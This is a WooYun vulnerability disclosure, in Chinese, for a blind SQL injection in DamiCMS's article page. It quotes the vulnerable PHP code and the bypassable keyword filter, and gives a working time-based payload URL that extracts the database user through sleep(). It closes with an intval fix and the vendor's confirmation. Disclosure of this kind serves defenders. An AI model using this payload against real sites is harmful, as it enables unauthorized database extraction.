当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081510

漏洞标题:大米CMS某处SQL盲注绕过防御

相关厂商:damicms.com

漏洞作者: xfkxfk

提交时间:2014-11-03 14:36

修复时间:2015-02-01 14:38

公开时间:2015-02-01 14:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-03: 细节已通知厂商并且等待厂商处理中
2014-11-03: 厂商已经确认,细节仅向厂商公开
2014-11-06: 细节向第三方安全合作伙伴开放
2014-12-28: 细节向核心白帽子及相关领域专家公开
2015-01-07: 细节向普通白帽子公开
2015-01-17: 细节向实习白帽子公开
2015-02-01: 细节向公众公开

简要描述:

大米CMS某处SQL盲注

详细说明:

最新版大米CMS
文件/Web/Lib/Action/ArticleAction.class.php

public function index()
{
if(!isset($_GET['aid']))
{
$this->error('非法操作');
}
inject_check($_GET['aid']);
inject_check($_GET['p']);
$aid = intval($_GET['aid']);
//读取数据库和缓存
ob_start();
//用于生成静态HTML
$is_build = C('IS_BUILD_HTML');
//允许参数
$allow_param = array('p','keyword');
$static_file ='./Html/'.cookie('think_template').'/articles/'.$aid;
$mid_str ='';
if(count($_REQUEST) >1)
{
foreach($_REQUEST as $k=>$v){
if($k != 'aid' && in_array($k,$allow_param)){
$mid_str .= '/'.$k.'/'.$v;
}
}
}
$static_file .= ($mid_str .'.html');
$path = './ArticleAction.class.php';
$php_file = basename($path);
parent::html_init($static_file,$php_file,$is_build);
//以下是动态代码
$article = M('article');
$config = F('basic','','./Web/Conf/');
$page_model = 'page/page_default.html';
//相关判断
$alist = $article->where('aid='.intval($_GET['aid']))->find();
if(!$alist)
{
alert('文章不存在或已删除!',__APP__);
}
if($alist['islink'] == 1)
{
Header('Location:'.$alist['linkurl']);
}
if($alist['status'] == 0)
{
alert('文章未审核!',__APP__);
}
$this->assign('title',$alist['title']);
parent::tree_dir($alist['typeid'],'tree_list');
$type = M('type');
$list = $type->where('typeid='.intval($alist['typeid']))->find();
$this->assign('type',$list);
$a = M('type')->where('typeid='.$alist['typeid'])->getField('page_path');
if( $a !='' && file_exists(TMPL_PATH.cookie('think_template').'/'.$a)){
$page_model = $a;
}
//网站头部
R('Public','head');
R('Public','py_link');
//统计处理
if($alist['status'] == 1)
{
$map['hits'] = $alist['hits']+1;
//echo $_GET['aid'];
$article->where('aid='.$_GET['aid'])->save($map);
}


看最后一行:

$article->where('aid='.$_GET['aid'])->save($map);


$_GET['aid']直接进入SQL了
这里在前面有检测$_GET['aid']
inject_check($_GET['aid']);
来看看这个inject_check函数,文件/Web/Common/common.php

//防止sql注入
function inject_check($str)
{
$tmp=eregi('select|insert|update|and|or|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str);
if($tmp)
{
alert("非法操作!",3);
}
else
{
return $str;
}
}


这里过滤一些关键字,但是我们可以绕过进行盲注
这里可以是使用:

http://localhost/dami/index.php?s=/articles/127+||+if(hex(mid(user(),1,1))=72,sleep(1),0)


这样就可以绕过,进行盲注了

漏洞证明:

访问:

http://localhost/dami/index.php?s=/articles/127+||+if(hex(mid(user(),1,1))=72,sleep(1),0)


这是会延迟18秒,由于默认安装大米cms后数据表中有18行数据,所以这里会延迟18s
具体利用见测试代码

dami.png

修复方案:

intval($_GET['aid'])

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-11-03 21:12

厂商回复:

谢谢

最新状态:

暂无